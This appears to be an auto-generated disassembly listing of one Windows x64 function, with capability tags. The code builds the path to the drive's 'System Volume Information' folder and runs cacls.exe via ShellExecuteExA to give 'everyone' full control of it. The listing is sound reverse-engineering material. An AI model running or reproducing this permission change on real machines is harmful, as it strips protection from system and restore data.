Function at 0x14009ec60
Capabilities:
Check os version
Create process on windows
Get common file path

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x488]
sub rsp, 0x580
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
xor edx, edx
mov r8d, SysAllocStringByteLen
lea rcx, [rbp - 0x30]
call fcn.140249b10
lea rsi, vtable.CSABString.0
mov qword [rsp + 0x20], rsi
mov dword [rsp + 0x30], 0
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetDim
call fcn.140247068
mov rdi, rax
mov qword [rsp + 0x28], rax
xor eax, eax
mov qword [rdi], rax
mov qword [rdi + 8], rax
mov dword [rsp + 0x34], 1
mov dword [rbp - 0x30], SysAllocStringByteLen
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [rbp - 0x20], 2
jne 0x14009eedc
xor edx, edx
lea r8d, [rdx + 0x70]
lea rcx, [rsp + 0x60]
call fcn.140249b10
cmp dword [rbp - 0x2c], 5
jne 0x14009ed0e
cmp dword [rbp - 0x28], 2
jb 0x14009eedc
mov edx, 0x410
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rcx, [rbp + 0x70]
call qword [sym.imp.SHLWAPI.dll_PathStripToRootA]
lea rcx, [rbp + 0x70]
mov rbx, 0xffffffffffffffff
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x14009ed35
test eax, eax
je 0x14009ed65
mov eax, eax
cmp byte [rbp + rax + 0x6f], 0x5c
je 0x14009ed65
lea rcx, [rbp + 0x70]
dec rcx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x14009ed52
movzx eax, word [0x140287e84]
mov word [rcx], ax
lea rcx, [rbp + 0x70]
dec rcx
nop dword [rax]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x14009ed70
movups xmm0, xmmword [str.System_Volume_Information]
movups xmmword [rcx], xmm0
movsd xmm1, qword [0x1402994e0]
movsd qword [rcx + 0x10], xmm1
movzx eax, word [0x1402994e8]
mov word [rcx + 0x18], ax
lea rcx, [rbp + 0x70]
call qword [sym.imp.SHLWAPI.dll_PathQuoteSpacesA]
test rdi, rdi
je 0x14009edbb
mov rcx, rdi
call fcn.140247060
mov qword [rsp + 0x28], 0
lea rax, [rbp + 0x70]
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x14009edc0
mov dword [rsp + 0x30], ebx
lea eax, [rbx + 1]
mov edi, eax
mov ecx, eax
call fcn.140247068
mov r14, rax
mov qword [rsp + 0x28], rax
test rax, rax
je 0x14009edf5
mov r8d, edi
lea rdx, [rbp + 0x70]
mov rcx, rax
call fcn.1402496a0
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x48], reloc.COMCTL32.dll_InitCommonControls
mov ecx, send
call fcn.140247068
mov rsi, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x14009ee2e
movups xmm0, xmmword [str.__E__G_everyone:F]
movups xmmword [rax], xmm0
movzx ecx, word [0x140299500]
mov word [rax + 0x10], cx
mov dword [rsp + 0x4c], 1
lea ecx, [rbx + 0x12]
call fcn.140247068
mov rdi, rax
test r14, r14
je 0x14009ee66
mov rcx, r14
mov rdx, rax
sub rdx, r14
nop
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x14009ee50
mov rcx, r14
call fcn.140247060
test rdi, rdi
je 0x14009ee7d
mov ecx, ebx
movups xmm0, xmmword [rsi]
movups xmmword [rcx + rdi], xmm0
movzx eax, word [rsi + 0x10]
mov word [rcx + rdi + 0x10], ax
test rsi, rsi
je 0x14009ee8a
mov rcx, rsi
call fcn.140247060
mov dword [rsp + 0x60], WSACleanup
lea rax, str.cacls.exe
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rdi
lea rax, [0x140299514]
mov qword [rsp + 0x70], rax
mov dword [rbp - 0x70], 0
mov dword [rsp + 0x64], 0x440
lea rcx, [rsp + 0x60]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x14009eedc
mov edx, 0x2710
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
test rdi, rdi
je 0x14009eee9
mov rcx, rdi
call fcn.140247060
mov eax, 1
lea r11, [rsp + 0x580]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret